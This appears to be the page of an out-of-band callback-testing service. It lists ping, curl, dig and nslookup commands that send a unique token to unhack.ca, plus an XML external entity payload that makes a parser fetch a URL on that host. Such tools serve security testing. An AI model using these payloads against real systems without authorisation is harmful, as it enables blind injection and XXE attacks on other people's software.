$ ping -c1 -p 000c361ccff1ad595be847aaf55f7200 unhack.ca
 
$ curl http://unhack.ca/p/0c361ccff1ad595be847aaf55f72
 
$ dig 0c361ccff1ad595be847aaf55f72 @unhack.ca
 
$ dig 0c361ccff1ad595be847aaf55f72.ns.unhack.ca
 
C:\> nslookup 0c361ccff1ad595be847aaf55f72 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0c361ccff1ad595be847aaf55f72">]>
    <foo>&xxe;</foo>
Waiting for ping...